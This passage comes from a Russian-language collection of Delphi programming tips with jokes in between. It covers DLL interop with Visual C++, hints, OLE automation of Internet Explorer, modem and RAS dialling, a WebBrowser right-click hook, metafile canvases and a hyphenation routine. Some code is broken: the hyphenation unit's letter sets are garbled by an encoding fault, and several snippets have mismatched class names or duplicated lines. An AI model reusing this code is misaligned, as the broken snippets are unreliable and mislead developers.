 объектов. Модуль ShareMem служит интерфейсом менеджера разделяемой памяти
 DELPHIMM.DLL, который должен разворачиваться одновременно с данной DLL. Чтобы избежать
 применения DELPHIMM.DLL, строковую информацию можно передавать с помощью параметров
 типа PChar или ShortString. }
 
 uses
 
 SysUtils,
 Classes,
 MyDLLMU in 'MyDLLMU.pas';
 
 exports
 
 plusone name 'plusone@4',
 ChangeString name 'ChangeString@4';
 
 begin
 end.
 

*************** MYDLL.DEF
; -----------------------------------------------------------------
; Имя файла: MYDLL.DEF
; -----------------------------------------------------------------


 LIBRARY  MYDLL
 
 DESCRIPTION  'Тестовая Delphi DLL, статическая загрузка в VC++ приложение'
 
 EXPORTS
 
 plusone@4
 

************** DLLTSTADlg.H


 // DLLTSTADlg.h : заголовочный файл
 //
 #define USELIB
 #ifdef USELIB
 extern "C" {
 
 int __declspec(dllimport) __stdcall plusone(int);
 }
 #endif //USELIB
 /////////////////////////////////////////////////////////////////////////////
 // Диалог CDLLTSTADlg
 
 class CDLLTSTADlg : public CDialog
 {
 // Создание public:
 
 CDLLTSTADlg(CWnd* pParent = NULL);      // стандартный конструктор
 ~CDLLTSTADlg();
 
 // Данные диалога
 
 //{{AFX_DATA(CDLLTSTADlg)
 enum { IDD = IDD_DLLTSTA_DIALOG };
 CString m_sVal;
 CString m_sStr;
 //}}AFX_DATA
 
 
 // Перекрытая виртуальная функция, сгенерированная ClassWizard
 //{{AFX_VIRTUAL(CDLLTSTADlg)
 protected:
 virtual void DoDataExchange(CDataExchange* pDX);        // Поддержка DDX/DDV
 //}}AFX_VIRTUAL
 
 // Реализация
 protected:
 
 #ifndef USELIB
 
 HINSTANCE hMyDLL;
 FARPROC lpfnplusone;
 typedef int (*pIIFUNC)(int);
 pIIFUNC plusone;
 #endif //USELIB
 
 
 HICON m_hIcon;
 
 
 // Карта функций генераций сообщений
 //{{AFX_MSG(CDLLTSTADlg)
 virtual BOOL OnInitDialog();
 afx_msg void OnPaint();
 afx_msg HCURSOR OnQueryDragIcon();
 afx_msg void OnBtnplusone();
 afx_msg void OnBtnplusoneClick();
 afx_msg void OnBtndostringClick();
 //}}AFX_MSG
 DECLARE_MESSAGE_MAP()
 };
 

************ DLLTSTADlg.CPP


 // DLLTSTADlg.cpp : файл реализации
 //
 
 #include "stdafx.h"
 #include "DLLTSTA.h"
 #include "DLLTSTADlg.h"
 
 #ifdef _DEBUG
 #define new DEBUG_NEW
 #undef THIS_FILE
 static char THIS_FILE[] = __FILE__;
 #endif
 
 extern CDLLTSTAApp theApp;
 
 /////////////////////////////////////////////////////////////////////////////
 // Диалог CDLLTSTADlg
 
 CDLLTSTADlg::CDLLTSTADlg(CWnd* pParent /*=NULL*/)
 
 : CDialog(CDLLTSTADlg::IDD, pParent)
 {
 
 //{{AFX_DATA_INIT(CDLLTSTADlg)
 m_sVal = _T("1");
 m_sStr = _T("Hello");
 //}}AFX_DATA_INIT
 // Имейте в виду, что в Win32 LoadIcon не требует последующего DestroyIcon
 m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
 
 #ifndef USELIB
 
 hMyDLL = LoadLibrary("C:\\delpwork\\MYDLL.DLL");
 if(hMyDLL == NULL)
 PostQuitMessage(1);
 lpfnplusone = GetProcAddress(HMODULE(hMyDLL), "_plusone");
 if(lpfnplusone == NULL)
 PostQuitMessage(2);
 plusone = pIIFUNC(lpfnplusone);
 #endif //USELIB
 
 }
 
 CDLLTSTADlg::~CDLLTSTADlg()
 {
 #ifndef USELIB
 
 if (hMyDLL != NULL)
 FreeLibrary(hMyDLL);
 #endif //USELIB
 }
 
 void CDLLTSTADlg::DoDataExchange(CDataExchange* pDX)
 {
 
 CDialog::DoDataExchange(pDX);
 //{{AFX_DATA_MAP(CDLLTSTADlg)
 DDX_Text(pDX, IDC_LBLINT, m_sVal);
 DDX_Text(pDX, IDC_LBLSTRING, m_sStr);
 //}}AFX_DATA_MAP
 }
 
 BEGIN_MESSAGE_MAP(CDLLTSTADlg, CDialog)
 
 //{{AFX_MSG_MAP(CDLLTSTADlg)
 ON_WM_PAINT()
 ON_WM_QUERYDRAGICON()
 ON_BN_CLICKED(IDC_BTNPLUSONE, OnBtnplusoneClick)
 ON_BN_CLICKED(IDC_BTNDOSTRING, OnBtndostringClick)
 //}}AFX_MSG_MAP
 END_MESSAGE_MAP()
 
 /////////////////////////////////////////////////////////////////////////////
 // Дескрипторы сообщений CDLLTSTADlg
 
 BOOL CDLLTSTADlg::OnInitDialog()
 {
 
 CDialog::OnInitDialog();
 
 
 // Устанавливаем иконку для данного диалога.  В случае, когда главное
 // окно программы не является диалогом, это происходит автоматически
 SetIcon(m_hIcon, TRUE);                 // Устанавливаем большую иконку
 SetIcon(m_hIcon, FALSE);                // Устанавливаем маленькую иконку
 
 
 // TODO: Здесь добавляем дополнительную инициализацию
 
 
 return TRUE;  // возвращает TRUE в случае отсутствия фокуса у диалога
 }
 
 // Если Вы добавляете в диалог кнопку минимизации, для создания иконки Вам
 //  необходим код, приведенный ниже. Для MFC-приложений используйте
 //  document/view model для автоматического создания скелета кода.
 
 void CDLLTSTADlg::OnPaint()
 {
 
 if (IsIconic())
 {
 CPaintDC dc(this); // контекст устройства для рисования
 
 
 SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
 
 
 // Центр иконки в области клиента
 int cxIcon = GetSystemMetrics(SM_CXICON);
 int cyIcon = GetSystemMetrics(SM_CYICON);
 CRect rect;
 GetClientRect(&rect);
 int x = (rect.Width() - cxIcon + 1) / 2;
 int y = (rect.Height() - cyIcon + 1) / 2;
 
 
 // Рисование иконки
 dc.DrawIcon(x, y, m_hIcon);
 }
 else
 {
 CDialog::OnPaint();
 }
 }
 
 // Система вызывает данный код для получения курсора, выводимого если
 //  пользователь пытается перетащить свернутое окно.
 HCURSOR CDLLTSTADlg::OnQueryDragIcon()
 {
 
 return (HCURSOR) m_hIcon;
 }
 
 void CDLLTSTADlg::OnBtnplusoneClick()
 {
 
 int iTemp;
 char sTemp[10];
 
 
 
 iTemp = atoi(m_sVal);
 iTemp = plusone(iTemp);
 m_sVal = itoa(iTemp, sTemp, 10);
 UpdateData(FALSE);
 }
 
 void CDLLTSTADlg::OnBtndostringClick()
 {
 
 UpdateData(FALSE);
 }
 




Вызов Delphi DLL из MS Visual C++ 2

Из реального руководства по С++ для новых русских:
- Чисто виртуальная функция-член конкретного класса типа интерфейса...

Во-первых, создайте в Delphi простую DLL:


 { Начало кода DLL }
 
 library MinMax;
 
 function Min(X, Y: Integer): Integer; export;
 begin
   if X < Y then
     Min := X
   else
     Min := Y;
 end;
 
 function Max(X, Y: Integer): Integer; export;
 begin
   if X > Y then
     Max := X
   else
     Max := Y;
 end;
 
 exports
 
   Min index 1,
   Max index 2;
 
 begin
 end.
 
 { Конец кода DLL }
 

Затем, для вызова этих функций из вашего C кода, сделайте следующее:

В вашем .DEF-файле добавьте следующие строки:


 IMPORTS
   Min  =MINMAX.Min
   Max  =MINMAX.Max
 

Объявите в вашем C-приложени прототип функций, как показано ниже:

    int FAR PASCAL Min(int x, y);
     int FAR PASCAL Min(int x, y);

Теперь из любого места вашего приложения вы можете вызвать функции Min и Max.




Прямой вызов метода Hint


 function RevealHint(Control: TControl): THintWindow;
 {----------------------------------------------------------------}
 { Демонстрирует всплывающую подсказку для определенного элемента }
 { управления (Control), возвращает ссылку на hint-объект,        }
 { поэтому в дальнейшем подсказка может быть спрятана вызовом     }
 { RemoveHint (смотри ниже).                                      }
 {----------------------------------------------------------------}
 
 var
   ShortHint: string;
   AShortHint: array[0..255] of Char;
   HintPos: TPoint;
   HintBox: TRect;
 begin
   { Создаем окно: }
   Result := THintWindow.Create(Control);
 
   { Получаем первую часть подсказки до '|': }
   ShortHint := GetShortHint(Control.Hint);
 
   { Вычисляем месторасположение и размер окна подсказки }
   HintPos := Control.ClientOrigin;
   Inc(HintPos.Y, Control.Height + 6);
   < < < < Смотри примечание ниже
     HintBox := Bounds(0, 0, Screen.Width, 0);
   DrawText(Result.Canvas.Handle,
     StrPCopy(AShortHint, ShortHint), -1, HintBox,
     DT_CALCRECT or DT_LEFT or DT_WORDBREAK or DT_NOPREFIX);
   OffsetRect(HintBox, HintPos.X, HintPos.Y);
   Inc(HintBox.Right, 6);
   Inc(HintBox.Bottom, 2);
 
   { Теперь показываем окно: }
   Result.ActivateHint(HintBox, ShortHint);
 end; {RevealHint}
 
 procedure RemoveHint(var Hint: THintWindow);
 {----------------------------------------------------------------}
 { Освобождаем дескриптор окна всплывающей подсказки, выведенной  }
 { предыдущим RevealHint.                                         }
 {----------------------------------------------------------------}
 
 begin
   Hint.ReleaseHandle;
   Hint.Free;
   Hint := nil;
 end; {RemoveHint}
 

Строка с комментарием <<<< позиционирует подсказку ниже элемента управления. Это может быть изменено, если по какой-то причине вам необходима другая позиция окна с подсказкой.




Как вызвать Internet Explorer из Delphi



У компании Microsoft появилась новая услуга. Они предлагают рекламное место в сообщениях об ошибках программы.


 program iexplor;
 
 uses
   Windows, OLEAuto;
 
 procedure OpenInternetExplorer( sURL : string );
 const
   csOLEObjName = 'InternetExplorer.Application';
 var
   IE: Variant;
   WinHanlde: HWnd;
 begin
   if VarIsEmpty(IE) then
   begin
     IE := CreateOleObject(csOLEObjName);
     IE.Visible := true;
     IE.Navigate(sURL);
   end
   else
   begin
     WinHanlde := FindWIndow('IEFrame', nil);
     if 0 <> WinHanlde then
     begin
       IE.Navigate(sURL);
       SetForegroundWindow(WinHanlde);
     end
     else
     begin
       // handle error ...
     end;
   end;
 end;
 
 begin
   OpenInternetExplorer('microsoft.com');
 
 end.
 




Вызов функций из различных дочерних MDI окон


 var
   MyMDIForm: TForm;
 begin
   MyMDIForm:=ActiveMDIChild;
   MyMDIForm.DefaultSize;
 end;
 

или


 TChild(ActiveMDIChild).SomeMethod;
 




Как набрать номер модемом

Автор: Олег Кулабухов

- Правда, что внешние модемы устойчивее внутренних?
- Конечно! Ведь у внешних - четыре ножки и низко расположенный центр тяжести!


 var
   hCommFile: THandle;
 
 procedure TForm1.Button1Click(Sender: TObject);
 var
   PhoneNumber: string;
   CommPort: string;
   NumberWritten: LongInt;
 begin
   PhoneNumber := 'ATDT 1-555-555-1212' + #13 + #10;
   CommPort := 'COM2';
   {Open the comm port}
   hCommFile := CreateFile(PChar(CommPort),
     GENERIC_WRITE,
     0,
     nil,
     OPEN_EXISTING,
     FILE_ATTRIBUTE_NORMAL,
     0);
   if hCommFile = INVALID_HANDLE_VALUE then
   begin
     ShowMessage('Unable to open ' + CommPort);
     exit;
   end;
 
   {Dial the phone}
   NumberWritten := 0;
   if WriteFile(hCommFile,
     PChar(PhoneNumber)^,
     Length(PhoneNumber),
     NumberWritten,
     nil) = false then
   begin
     ShowMessage('Unable to write to ' + CommPort);
   end;
 end;
 
 procedure TForm1.Button2Click(Sender: TObject);
 begin
   {Close the port}
   CloseHandle(hCommFile);
 end;
 




Вызвать процедуру из DLL


 //  Call DLL Program  (Normal Application Project) 
 //  This example calls a Quick Report within a DLL. 
 //  Author: Michael Casse. 
 //  18-12-2001. 
 
 unit uMain;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   StdCtrls, Buttons;
 
 type
   TForm1 = class(TForm)
     btnClose: TBitBtn;
     btnReport: TBitBtn;
     procedure btnReportClick(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
   end;
 
 var
   Form1: TForm1;
 
 implementation
 
 {$R *.DFM}
 
 procedure TForm1.btnReportClick(Sender: TObject);
 var
   LibHandle: THandle;
   fDisplaySampleReport: procedure;
   begin
     LibHandle := LoadLibrary('Report.dll');
     if LibHandle = 0 then
       raise Exception.Create('Unable to Load DLL...')
     else
     begin
       try @fDisplaySampleReport := GetProcAddress(LibHandle, 'DisplaySampleReport');
         if @fDisplaySampleReport <> nil then
           fDisplaySampleReport; // Invoke the Procedure within the DLL 
       except
         on E: Exception do
           ShowMessage('Exception error: ' + E.Message);
       end;
     end;
     FreeLibrary(LibHandle); // Free Memory Allocated for the DLL 
   end;
 
   end.
 
   //////////////////////////////////////////////// 
   // DLL Project 
 
 library Report;
 
 uses  SysUtils, Classes,
       uReport in 'uReport.pas' {Form1};
 
 procedure DisplaySampleReport;
 begin
   Form1 := TForm1.Create(nil);
   try
     Form1.QuickRep1.Preview;
   finally
     Form1.Free;
   end;
 end;
 
 exports  DisplaySampleReport;
 
 end.
 




Как вызвать процедуру из чужого ЕХЕ файла

Автор: Шевелев Дмитрий

Проблема такая : на сервере стоит ЕХЕ-файл, написан на FoxPro. И как класс зарегистрирован в системном реестре. Есть описание его процедур ( название, параметры). Существует ли возможность на Delphi обратиться к процедурам и заставить их сработать.

Видимо речь идет о сервере OLE, написанном на FoxPro (первый раз про такое слышу). Если так, то используй его как обычный OLE-сервер:


 Var
   vMyServer : OLEVariant;
 Begin
   vMyServer := CreateOLEObject("имя CLSID");
   vMyServer.Имя_метода(...);
   ...
   vMyServer := Null;
 End;
 




Вызов процедуры в другом потоке

Автор: Nomadic


 CreateThread(nil,0,@MyProcedure,0,0,nil);
 




Можно ли вызвать хранимую процедуру через TQuery

Автор: Nomadic

В случае MS SQL нужно написать:


 Query1.Sql := 'declare @res' + #13#10 + 'exec MyFunc :Param1, :Param2, @res OUTPUT';
 Query1.Open;
 Result := Query1.FieldByName( 'Column1' ).Value;
 Query1.Close;
 




Как в Delphi дозвониться до провайдера


Телефонный звонок провайдеру:
- У меня опять проблема.
- Что, не можете войти?
- Войти удалось, но сосать не хочет!
- Хм. Мы не виноваты - у нас канал широкий...
- Причем здесь канал?! С кем я говорю? Это телефон доверия?

  1. Если ты посто полезешь из программы куда-то по IP - то Win сама начнет dial-up, если у нее есть хотя бы одно connection в Remote Access.
  2. Если ты хочешь, чтобы программа сама выбирала connection (если их имеется несколько), контролировала набор номера, посылала login и пароль, то тебе нужно воспользоваться функциями RAS.

 {  Try to establish RAS connection with specified name. EntryName -
    an entry in default phonebook to be used for dial-up. Notes:
 a) This call is synchronous (i.e. will not return until the connection
    is established or failed) and hence, may take some time
    (sometimes tens of seconds).
 b) The function uses no dial extension, and uses default phonebook.  }
 
 function RasMakeDialupConnection(const EntryName: string): Boolean;
 var
   dwRet: Dword;
   DialParams: TRasDialParams;
   hRas: HRASCONN;
   bPwd: Boolean; // was the password retrieved
 begin
   uLastErr := 0; // Prepare dial parameters
   FillChar(DialParams, SizeOf(DialParams), 0);
   DialParams.dwSize := SizeOf(DialParams);
   StrPLCopy(@(DialParams.szEntryName[0]), EntryName,
     SizeOf(DialParams.szEntryName));
   hRas := 0; // must do that before calling RasDial
   // Try to retrieve user name/passowrd.
   // We continue even if RasGetEntryDialParams returns error, because
   // in next call RasDial will just try with empty user name/password
   bPwd := False;
   RasGetEntryDialParams(nil, @DialParams, bPwd);
   // Call RAS API. In this particular case RasDial will not return until
   // the connections is established or failed to establish.
   dwRet := RasDial(nil, nil, // no dial extensions, default phonebook
     @DialParams,
     0, // ignored here
     nil, // do not use callback - the call is synch
     hRas); // receives connection handle
   Result := dwRet = 0; // Connection failed... if not Result then begin
   // In some cases hRas may be non-zero and the connection port
   // is still opened. It is a Windows semi-bug/semi-feature.
   // So I must try to close
   if hRas <> 0 then
     RasHangupConnection(hRas);
   // RasHangup may reset uLastErr, but we need the value // returned from RasDial
   uLastErr := dwRet;
 end;
 end;
 




Как в Delphi дозвониться до провайдера 2

Автор: Nomadic

Идет коннект, качается, срываясь на ходу...


 function DialProvider(connection: string): boolean;
 // connection - имя учетной записи
 var
   pars: TRasDialParams;
   hRas: ThrasConn;
   r: integer;
 begin
   hRas := 0;
   strpcopy(pars.szEntryName, connection); // имя учетной записи
   pars.szPhoneNumber := ''; // номеp телефона - по умолчанию
   pars.szcallbacknumber := ''; // callback нам не нужен
   pars.szUserName := ''; // логин - по умолчанию
   pars.szPassWord := ''; // паpоль - по умолчанию
   pars.szDomain := '';   // аналогично с домейном
   pars.dwSize := Sizeof(TRasDialParams); // вычисляем pазмеp записи
   r := rasdial(nil, nil, pars, 0, nil, hRas); // звоним
   if r <> 0 then
   begin // если что-то неполучилось, то
     rasHangUp(hRas); // сбpасываем соединение
     result := false; // ф-ция тепеpь веpнет false
   end
   else
     result := true; // а если все ок - то true.
 end;
 

P.S. Ras.pas бpать с www.torry.ru




Вызов TUTILITY


 var
   Session: hTUses;
   i: integer;
   ErrorCode: word;
   ResultCode: word;
 
 procedure BdeError(ResultCode: Word);
 begin
   if ResultCode <> 0 then
     raise Exception.CreateFmt('BDE ошибка %x', [ResultCode]);
 end;
 
 begin
   try
     BdeError(DbiInit(nil));
     BdeError(TUInit(@Session));
 
     for i := 1 to High(TableNames) do
     begin
       WriteLn('Проверка ' + TableNames[i]);
 
       ResultCode := TUVerifyTable(Session, @TableNames[i, 1], szPARADOX,
         'TABLERRS.DB', nil, TU_Append_Errors, ErrorCode);
       BdeError(ResultCode);
 
       if ErrorCode = 0 then
         WriteLn('Успешно')
       else
         WriteLn('ОШИБКА! -- Для информации смотри TABLERRS.DB!');
 
       WriteLn('');
     end;
   finally
     BdeError(TUExit(Session));
     BdeError(DbiExit);
   end;
 end.
 




Отменить контекстное меню в WebBrowser

Вы хотите попасть в виртуальный мир, но у вас нет денег на покупку компьютера? Вы не любите Интернет-кафе? В таком случае мы предлагаем вам новое альтернативное средство доступа к виртуальному миру, цена всего 200 рублей за одну таблетку.


 var
   HookID: THandle;
 
 function MouseProc(nCode: Integer; wParam, lParam: Longint): Longint; stdcall;
 var
   szClassName: array[0..255] of Char;
 const
   ie_name = 'Internet Explorer_Server';
 begin
   case nCode < 0 of
     True:
       Result := CallNextHookEx(HookID, nCode, wParam, lParam)
       else
         case wParam of
           WM_RBUTTONDOWN,
           WM_RBUTTONUP:
             begin
               GetClassName(PMOUSEHOOKSTRUCT(lParam)^.HWND, szClassName, SizeOf(szClassName));
               if lstrcmp(@szClassName[0], @ie_name[1]) = 0 then
                 Result := HC_SKIP
               else
                 Result := CallNextHookEx(HookID, nCode, wParam, lParam);
             end
             else
               Result := CallNextHookEx(HookID, nCode, wParam, lParam);
         end;
   end;
 end;
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   HookID := SetWindowsHookEx(WH_MOUSE, MouseProc, 0, GetCurrentThreadId());
 end;
 
 procedure TForm1.FormDestroy(Sender: TObject);
 begin
   if HookID <> 0 then
     UnHookWindowsHookEx(HookID);
 end;
 
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   Webbrowser1.Navigate('http://www.google.com');
 end;
 




Канва для метафайлов

В: Мне необходимо нарисовать Windows-метафайл. Delphi непосредственно это не поддерживает, поэтому для создания нового метафайла я использую функции Windows API. При создании метафайла мне возвращается его THandle, являющийся дескриптором контекста устройства Windows (DC).

Как мне в Delphi использовать возвращаемый THandle для получения или создания канвы (Canvas) для рисования?

О: несколько дней назад я задавал аналогичный вопрос, но не получил ответа, поэтому пришлось искать решение самому. Вот код (надеюсь это то, что нужно):


 unit Metaform;
 
 interface
 
 uses
 
   SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
   Forms, Dialogs, StdCtrls, Buttons, ExtCtrls;
 
 type
 
   TForm1 = class(TForm)
     Panel1: TPanel;
     BitBtn1: TBitBtn;
     Image1: TImage;
     procedure BitBtn1Click(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
   end;
 
 var
 
   Form1: TForm1;
 
 implementation
 
 {$R *.DFM}
 
 type
 
   TMetafileCanvas = class(TCanvas)
   private
     FClipboardHandle: THandle;
     FMetafileHandle: HMetafile;
     FRect: TRect;
   protected
     procedure CreateHandle; override;
     function GetMetafileHandle: HMetafile;
   public
     constructor Create;
     destructor Destroy; override;
     property Rect: TRect read FRect write FRect;
     property MetafileHandle: HMetafile read GetMetafileHandle;
   end;
 
 constructor TMetafileCanvas.Create;
 begin
 
   inherited Create;
   FClipboardHandle := GlobalAlloc(
     GMEM_SHARE or GMEM_ZEROINIT, SizeOf(TMetafilePict));
 end;
 
 destructor TMetafileCanvas.Destroy;
 begin
 
   DeleteMetafile(CloseMetafile(Handle));
   if Bool(FClipboardHandle) then
     GlobalFree(FClipboardHandle);
   if Bool(FMetafileHandle) then
     DeleteMetafile(FMetafileHandle);
   inherited Destroy;
 end;
 
 procedure TMetafileCanvas.CreateHandle;
 var
 
   MetafileDC: HDC;
 begin
 
   { Создаем в памяти DC метафайла }
   MetafileDC := CreateMetaFile(nil);
   if Bool(MetafileDC) then
   begin
     { Совмещаем верхний левый угол отображаемого прямоугольника с левым верхним углом
     контекста устройства. Создаем границу шириной 10 логических единиц вокруг изображения. }
     with FRect do
       SetWindowOrg(MetafileDC, Left - 10, Top - 10);
     { Устанавливаем размер изображения с бордюром, имеющим ширину 10 логических единиц. }
     with FRect do
       SetWindowExt(MetafileDC, Right - Left + 20, Bottom - Top + 20);
     { Задаем корректное содержание данному метафайлу. }
     if Bool(FMetafileHandle) then
     begin
       PlayMetafile(MetafileDC, FMetafileHandle);
     end;
   end;
   Handle := MetafileDC;
 end;
 
 function TMetafileCanvas.GetMetafileHandle: HMetafile;
 var
 
   MetafilePict: PMetafilePict;
   IC: HDC;
   ExtRect: TRect;
 begin
 
   if Bool(FMetafileHandle) then
     DeleteMetafile(FMetafileHandle);
   FMetafileHandle := CloseMetafile(Handle);
   Handle := 0;
   { Подготавливаем метафайл для показа в буфере обмена. }
   MetafilePict := GlobalLock(FClipboardHandle);
   MetafilePict^.mm := mm_AnIsoTropic;
   IC := CreateIC('DISPLAY', nil, nil, nil);
   SetMapMode(IC, mm_HiMetric);
   ExtRect := FRect;
   DPtoLP(IC, ExtRect, 2);
   DeleteDC(IC);
   MetafilePict^.xExt := ExtRect.Right - ExtRect.Left;
   MetafilePict^.yExt := ExtRect.Top - ExtRect.Bottom;
   MetafilePict^.HMF := FMetafileHandle;
   GlobalUnlock(FClipboardHandle);
   { Передаем дескриптор в качестве результата выполнения функции. }
   Result := FClipboardHandle;
 end;
 
 procedure TForm1.BitBtn1Click(Sender: TObject);
 var
 
   MetafileCanvas: TMetafileCanvas;
 begin
 
   MetafileCanvas := TMetafileCanvas.Create;
   MetafileCanvas.Rect := Rect(0, 0, 500, 500);
   MetafileCanvas.Ellipse(10, 10, 400, 400);
   Image1.Picture.Metafile.LoadFromClipboardFormat(
     cf_MetafilePict, MetafileCanvas.MetafileHandle, 0);
   MetafileCanvas.Free;
 end;
 
 end.
 




TCanvas и освобождение дескрипторов

TCanvas автоматически ReleaseDC не вызывает. При создании холста с WindowDC в качестве дескриптора, лучшей идеей будет создание потомка TCanvas (моделированного с TControlCanvas):


 type
   TWindowCanvas = class(TCanvas)
   private
     FWinControl: TWinControl;
     FDeviceContext: HDC;
     procedure SetWinControl(AControl: TWinControl);
   protected
     procedure CreateHandle; override;
   public
     destructor Destroy; override;
     procedure FreeHandle;
     property WinControl: TWinControl read FWinControl write SetWinControl;
   end;
 
 implementation
 
 destructor TWindowCanvas.Destroy;
 begin
   FreeHandle;
   inherited Destroy;
 end;
 
 procedure TWindowCanvas.CreateHandle;
 begin
   if FControl = nil then
     inherited CreateHandle
   else
   begin
     if FDeviceContext = 0 then
       FDeviceContext := GetWindowDC(WinControl.Handle);
     Handle := FDeviceContext;
   end;
 end;
 
 procedure TControlCanvas.FreeHandle;
 begin
   if FDeviceContext <> 0 then
   begin
     Handle := 0;
     ReleaseDC(WinControl.Handle, FDeviceContext);
     FDeviceContext := 0;
   end;
 end;
 
 procedure TControlCanvas.SetWinControl(AControl: TWinControl);
 begin
   if FWinControl <> AControl then
   begin
     FreeHandle;
     FWinControl := AControl;
   end;
 end;
 

Очевидно, вы должны должны следить за ситуацией, и разрушать TWindowCanvas (или освобождать дескриптор) перед тем, как уничтожить элемент управления, связанный с ним. Также, имейте в виду, что дескриптор DeviceContext не освобождается автоматически после обработки каждого сообщения (как это происходит с дескрипторами TControlCanvas); для освобождения дескриптора вы должны явно вызвать FreeHandle (или разрушить Canvas). И, наконец, имейте в виду, что "WindowCanvas.Handle:= 0" не освобождает десктиптор, для его освобождения вы должны вызывать FreeHandle.




Алгоритм переноса русского текста по слогам


Автор: Gorbunov A. A.


 unit Hyper;
 
 interface
 
 uses
   Windows, Classes, SysUtils;
 
 function SetHyph(pc: PChar; MaxSize: Integer): PChar;
 function SetHyphString(s : string): string;
 function MayBeHyph(p: PChar; pos: Integer): Boolean;
 
 implementation
 
 type
   TSymbol=(st_Empty, st_NoDefined, st_Glas, st_Sogl, st_Spec);
   TSymbAR=array [0..1000] of TSymbol;
   PSymbAr=^TSymbAr;
 
 const
   HypSymb=#$1F;
   Spaces=[' ', ',',';', ':','.','?','!','/', #10, #13 ];
   SpecSign= [ '-', '-','N', '-', 'щ', 'г'];
 
   GlasCHAR=['e', 'L', 'х', '+', 'v', '-','р', '-', 'ю', '+', ' ', '-',
   'ш', 'L', '|', '|', '2', '|',
   { english }
   'e', 'E', 'u', 'U','i', 'I', 'o', 'O', 'a', 'A', 'j', 'J'];
 
   SoglChar=['-', 'г' , 'ъ', '|' ,'э', '=' , 'у', '+' , '0', '+' , '', '-' ,
   'ч', '|' , 'i', '-' ,'I', 'L' , 'т', 'T' , 'я', '|' , 'Ё', '|' ,
   'ы', 'T' , 'ф', '-' ,'ц', '|' , '-', '+' , 'ё', 'T' , 'ь', '|' ,
   'E', 'T' , 'с', '+' ,
   { english }
   'q', 'Q','w', 'W', 'r', 'R','t', 'T','y', 'Y','p', 'P','s',
   'S', 'd', 'D','f', 'F', 'g', 'G','h', 'H','k', 'K','l', 'L','z',
   'Z', 'x', 'X','c', 'C', 'v', 'V', 'b', 'B', 'n', 'N','m', 'M' ];
 
 function isSogl(c: Char): Boolean;
 begin
   Result := c in SoglChar;
 end;
 
 function isGlas(c: Char): Boolean;
 begin
   Result := c in GlasChar;
 end;
 
 function isSpecSign(c: Char): Boolean;
 begin
   Result := c in SpecSign;
 end;
 
 function GetSymbType(c: Char): TSymbol;
 begin
   if isSogl(c) then
   begin
     Result := st_Sogl;
     exit;
   end;
   if isGlas(c) then
   begin
     Result := st_Glas;
     exit;
   end;
   if isSpecSign(c) then
   begin
     Result := st_Spec;
     exit;
   end;
   Result := st_NoDefined;
 end;
 
 function isSlogMore(c: pSymbAr; start, len: Integer): Boolean;
 var
   i: Integer;
   glFlag: Boolean;
 begin
   glFlag := false;
   for i:=Start to Len-1 do
   begin
     if c^[i]=st_NoDefined then
     begin
       Result := false;
       exit;
     end;
     if (c^[i]=st_Glas)and((c^[i+1]<>st_Nodefined)or(i<>Start)) then
     begin
       Result := True;
       exit;
     end;
   end;
   Result := false;
 end;
 
 function SetHyph(pc: PChar; MaxSize: Integer): PChar;
 var
   HypBuff : Pointer;
   h : PSymbAr;
   i : Integer;
   len : Integer;
   Cur : Integer;
   cw : Integer;
   Lock: Integer;
 begin
   Cur := 0;
   len := StrLen(pc);
   if (MaxSize = 0) or (Len = 0) then
   begin
     Result := nil;
     Exit;
   end;
 
   GetMem(HypBuff, MaxSize);
   GetMem(h, Len + 1);
   for i:=0 to len-1 do
     h^[i]:=GetSymbType(pc[i]);
   cw:=0;
   Lock:=0;
   for i:=0 to Len-1 do
   begin
     PChar(HypBuff)[cur]:=PChar(pc)[i];Inc(Cur);
 
     if i>=Len-2 then
       Continue;
     if h^[i]=st_NoDefined then
     begin
       cw:=0;
       Continue;
     end
     else
       Inc(cw);
     if Lock<>0 then
     begin
       Dec(Lock);
       Continue;
     end;
     if cw<=1 then
       Continue;
     if not(isSlogMore(h,i+1,len)) then
       Continue;
 
     if (h^[i]=st_Sogl)and(h^[i-1]=st_Glas)and
     (h^[i+1]=st_Sogl)and(h^[i+2]<>st_Spec) then
     begin
       PChar(HypBuff)[cur] := HypSymb;
       Inc(Cur);
       Lock := 1;
     end;
 
     if (h^[i]=st_Glas)and(h^[i-1]=st_Sogl)and
     (h^[i+1]=st_Sogl)and(h^[i+2]=st_Glas) then
     begin
       PChar(HypBuff)[cur] := HypSymb;
       Inc(Cur);
       Lock := 1;
     end;
 
     if (h^[i]=st_Glas)and(h^[i-1]=st_Sogl)and
     (h^[i+1]=st_Glas)and(h^[i+2]=st_Sogl) then
     begin
       PChar(HypBuff)[cur] := HypSymb;
       Inc(Cur);
       Lock := 1;
     end;
 
     if (h^[i] = st_Spec) then
     begin
       PChar(HypBuff)[cur] := HypSymb;
       Inc(Cur);
       Lock := 1;
     end;
   end;
 
   FreeMem(h, Len + 1);
   PChar(HypBuff)[cur] := #0;
   Result := HypBuff;
 end;
 
 function Red_GlasMore(p: PChar; pos: Integer): Boolean;
 begin
   while p[pos]<>#0 do
   begin
     if p[pos] in Spaces then
     begin
       Result:=False;
       Exit;
     end;
     if isGlas(p[pos]) then
     begin
       Result:=True;
       Exit;
     end;
     Inc(pos);
   end;
   Result:=False;
 end;
 
 function Red_SlogMore(p: Pchar; pos: Integer): Boolean;
 var
   BeSogl, BeGlas: Boolean;
 begin
   BeSogl:=False;
   BeGlas:=False;
   while p[pos]<>#0 do
   begin
     if p[pos] in Spaces then
       Break;
     if not BeGlas then
       BeGlas:=isGlas(p[pos]);
     if not BeSogl then
       BeSogl:=isSogl(p[pos]);
     Inc(pos);
   end;
   Result:=BeGlas and BeSogl;
 end;
 
 function MayBeHyph(p:PChar;pos:Integer):Boolean;
 var
   i: Integer;
   len: Integer;
 begin
   i:=pos;
   Len:=StrLen(p);
   Result:= (Len>3) and (i>2) and (iand (not (p[i] in Spaces))
   and (not (p[i+1] in Spaces)) and (not (p[i-1] in Spaces)) and
   ((isSogl(p[i])and isGlas(p[i-1])and isSogl(p[i+1])and
   Red_SlogMore(p,i+1)) or
